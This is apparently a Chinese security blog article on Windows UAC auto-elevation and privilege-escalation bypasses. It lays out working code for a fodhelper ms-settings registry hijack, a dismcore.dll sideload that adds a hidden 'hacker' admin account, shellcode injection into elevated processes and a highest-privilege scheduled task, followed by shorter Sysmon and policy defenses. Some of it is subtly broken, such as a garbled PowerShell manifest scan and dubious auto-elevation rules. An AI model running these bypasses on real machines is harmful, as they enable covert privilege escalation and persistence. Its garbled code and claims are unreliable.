UAC白名单机制深度挖掘与绕过

2025-02-16 18 0

一、UAC机制核心原理

1.1 UAC工作流程

Windows用户账户控制(UAC)通过完整性级别(Integrity Level)进行权限管控,关键流程如下:

  1. 进程创建时默认分配中完整性级别(Medium IL)

  2. 需要管理员权限时触发UAC弹窗

  3. 通过后进程提升到高完整性级别(High IL)

1.2 白名单自动提升机制

满足以下条件之一的可执行文件将自动提权(不触发UAC弹窗):

  • 系统关键进程:位于%SystemRoot%\System32且带有微软数字签名

  • 清单声明:嵌入requestedExecutionLevelrequireAdministrator

  • 安装程序检测:文件名包含"install"/"setup"等关键字

  • COM对象提升:注册表HKCU\Software\Classes\CLSID中配置AutoElevate

1.3 关键系统组件

// 检查进程权限提升状态
BOOL IsElevated() {
    HANDLE hToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
    TOKEN_ELEVATION elevation;
    GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), NULL);
    return elevation.TokenIsElevated;
}

// 检查文件数字签名状态
bool VerifyMicrosoftSignature(LPCWSTR filePath) {
    WINTRUST_FILE_INFO fileData = { sizeof(fileData) };
    fileData.pcwszFilePath = filePath;
    
    WINTRUST_DATA trustData = { sizeof(trustData) };
    trustData.dwUIChoice = WTD_UI_NONE;
    trustData.fdwRevocationChecks = WTD_REVOKE_NONE;
    trustData.dwUnionChoice = WTD_CHOICE_FILE;
    trustData.pFile = &ampfileData;
    
    return WinVerifyTrust(NULL, &WINTRUST_ACTION_GENERIC_VERIFY_V2, &trustData) == S_OK;
}

二、UAC白名单挖掘技术

2.1 自动提权程序扫描

2.1.1 系统目录扫描脚本(PowerShell)

$whiteList = @()
Get-ChildItem "$env:SystemRoot\System32\*.exe" | ForEach-Object {
    $manifest = [xml](mt -executionpolicy bypass -Command "Get-Content $($_.FullName) -Raw | Select-String '(?s)<trustInfo>.*</trustInfo>'")
    if ($manifest.trustInfo.security.requestedPrivileges.requestedExecutionLevel.level -eq "requireAdministrator") {
        $whiteList += $_.Name
    }
}
$whiteList | Out-File "AutoElevateList.txt"

2.1.2 注册表自动提权项检测

void CheckCOMAutoElevate() {
    HKEY hKey;
    RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Classes\\CLSID", 0, KEY_READ, &hKey);
    
    DWORD index = 0;
    WCHAR clsid[40];
    while (RegEnumKey(hKey, index++, clsid, 40) == ERROR_SUCCESS) {
        HKEY hSubKey;
        if (RegOpenKeyEx(hKey, (std::wstring(clsid) + L"\\Elevation").c_str(), 0, KEY_READ, &hSubKey) == ERROR_SUCCESS) {
            DWORD autoElevate = 0;
            DWORD size = sizeof(DWORD);
            if (RegQueryValueEx(hSubKey, L"AutoElevate", NULL, NULL, (LPBYTE)&autoElevate, &size) == ERROR_SUCCESS && autoElevate) {
                // 发现可自动提权的COM组件
            }
            RegCloseKey(hSubKey);
        }
    }
    RegCloseKey(hKey);
}

三、经典UAC绕过技术

3.1 白名单程序劫持(以FodHelper为例)

3.1.1 注册表劫持实现

// 创建恶意注册表项
void ModifyRegistry() {
    HKEY hKey;
    RegCreateKeyEx(HKEY_CURRENT_USER, 
        L"Software\\Classes\\ms-settings\\shell\\open\\command", 
        0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL);
    
    // 设置恶意程序路径
    WCHAR cmd[] = L"cmd.exe /c start C:\\malware.exe";
    RegSetValueEx(hKey, L"", 0, REG_SZ, (BYTE*)cmd, sizeof(cmd));
    
    RegCloseKey(hKey);
}

// 触发白名单程序执行
void TriggerUACBypass() {
    ShellExecute(NULL, L"open", L"fodhelper.exe", NULL, NULL, SW_HIDE);
}

3.1.2 实现原理分析

  1. fodhelper.exe会尝试打开ms-settings协议

  2. 劫持当前用户的协议处理程序指向恶意命令

  3. 利用白名单程序的自动提权执行恶意代码

3.2 DLL侧加载技术

// 构造恶意dismcore.dll
extern "C" __declspec(dllexport) void DllRegisterServer() {
    WinExec("cmd.exe /c net user hacker P@ssw0rd /add", SW_HIDE);
}

// 劫持系统程序调用链
void HijackComponent() {
    // 将恶意DLL放入%SystemRoot%\System32\Dism\
    CopyFile(L"malware.dll", L"C:\\Windows\\System32\\Dism\\dismcore.dll", FALSE);
    
    // 触发可信程序执行
    system("dism /online /cleanup-image /restorehealth");
}

四、高级绕过技术

4.1 内存注入+COM劫持

// 查找可自动提权的COM进程
DWORD FindAutoElevateProcess() {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (IsMicrosoftSigned(pe32.szExeFile) {
                HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
                if (IsElevated(hProcess)) {
                    CloseHandle(hProcess);
                    return pe32.th32ProcessID;
                }
            }
        } while (Process32Next(hSnapshot, &pe32));
    }
    return 0;
}

// 向高权限进程注入代码
void InjectToTrustedProcess(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    LPVOID pMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    WriteProcessMemory(hProcess, pMem, shellcode, sizeof(shellcode), NULL);
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
}

4.2 基于任务计划的绕过

// 创建特权任务
void CreateMaliciousTask() {
    ITaskService* pService = NULL;
    CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
    pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
    
    ITaskFolder* pRoot = NULL;
    pService->GetFolder(_bstr_t(L"\\"), &pRoot);
    
    ITaskDefinition* pTask = NULL;
    pService->NewTask(0, &pTask);
    
    // 配置任务使用最高权限
    IPrincipal* pPrincipal = NULL;
    pTask->get_Principal(&pPrincipal);
    pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
    
    // 设置触发条件
    ITriggerCollection* pTriggers = NULL;
    pTask->get_Triggers(&pTriggers);
    ITrigger* pTrigger = NULL;
    pTriggers->Create(TASK_TRIGGER_REGISTRATION, &pTrigger);
    
    // 注册任务
    IRegisteredTask* pRegisteredTask = NULL;
    pRoot->RegisterTaskDefinition(_bstr_t(L"MalTask"), pTask, TASK_CREATE, 
        _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), &pRegisteredTask);
}

五、防御与检测方案

5.1 系统加固配置

5.1.1 UAC策略优化(组策略)

  • 启用"用户账户控制:仅提升已签名验证的可执行文件"

  • 配置"用户账户控制:管理员审批模式中管理员的提升权限提示行为"为提示凭据

5.1.2 注册表保护

# 保护协议处理程序注册表项
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "LegacyDisable" -Type DWord -Value 1
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "EditFlags" -Type DWord -Value 0x00010000

5.2 实时监控策略

5.2.1 进程行为分析(Sysmon配置)

<RuleGroup name="UAC Bypass Detection">
    <ProcessCreate onmatch="include">
        <ParentImage condition="end with">fodhelper.exe</ParentImage>
        <CommandLine condition="contains">ms-settings</CommandLine>
    </ProcessCreate>
    <FileCreate onmatch="include">
        <TargetFilename condition="contains">Dism\\dismcore.dll</TargetFilename>
    </FileCreate>
</RuleGroup>

5.2.2 内存特征检测

bool CheckForUACBypass(HANDLE hProcess) {
    HMODULE hMods[1024];
    DWORD cbNeeded;
    
    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
        for (int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
            WCHAR szModName[MAX_PATH];
            GetModuleFileNameEx(hProcess, hMods[i], szModName, MAX_PATH);
            
            // 检测非常规路径模块
            if (wcsstr(szModName, L"AppData\\Local\\Temp") != NULL) {
                return true;
            }
        }
    }
    return false;
}

六、技术演进方向

6.1 新型绕过技术

  1. 虚拟化技术滥用

    • 利用Windows Sandbox执行恶意代码

    • 通过WSL子系统绕过权限检查

  2. 硬件辅助攻击

    • 基于Intel SGX的安全区隐藏恶意代码

    • 使用GPU内存存储关键载荷

  3. AI对抗技术

    • 生成对抗网络(GAN)产生免杀载荷

    • 强化学习优化绕过策略

6.2 防御体系演进

  • 硬件可信根验证:基于TPM 2.0的启动链验证

  • 行为基线分析:建立进程调用关系图谱

  • 零信任架构:强制所有提权操作二次认证


七、法律与伦理声明

  1. 本文所述技术仅限用于授权安全测试防御研究

  2. 实际使用需遵守《网络安全法》及《个人信息保护法》相关规定

  3. 禁止将技术用于非法渗透或破坏活动


通过深入分析UAC机制的设计缺陷,攻击者可构造出多种隐蔽的权限提升通道。现代安全防护需要结合行为分析、内存保护和硬件特性,构建多层次的防御体系。防御者应重点关注:

  • 系统关键路径的完整性监控

  • 异常进程间通信行为

  • 非常规的权限提升模式

  • 注册表敏感项的变更审计


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Web应用&企业产权&域名资产&网络空间&威胁情报
【CTF】Python Jail沙箱逃逸手法总结 PyJail All in One
风投巨头Insight Partners遭遇网络攻击,敏感数据或泄露
网络犯罪转向社交媒体,攻击量达历史新高
雅虎数据泄露事件:黑客涉嫌兜售60.2万个电子邮件账户
黑客如何利用提示词工程操纵AI代理?

发布评论